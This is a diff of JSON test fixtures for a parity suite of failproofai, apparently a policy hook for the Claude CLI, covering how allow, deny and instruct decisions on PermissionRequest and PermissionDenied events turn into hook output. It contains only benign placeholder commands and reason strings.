"payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f727f803 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionDenied/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionDenied\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8a0ec732 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2c7c4076 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..365c0b30 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..9d6e7bc0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..60583cee --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..186b88f6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f092f378 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f585272d --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..d7f7dec5 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..df31c3be --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a33ccd65 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2f2cee27 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"decision\":{\"behavior\":\"deny\",\"message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..364af7de --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..cf02e620 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..febd47a7 --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..4181fe8e --- /dev/null +++ b/__tests__/parity/fixtures/claude/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..028ab1ff --- /dev/null +++ 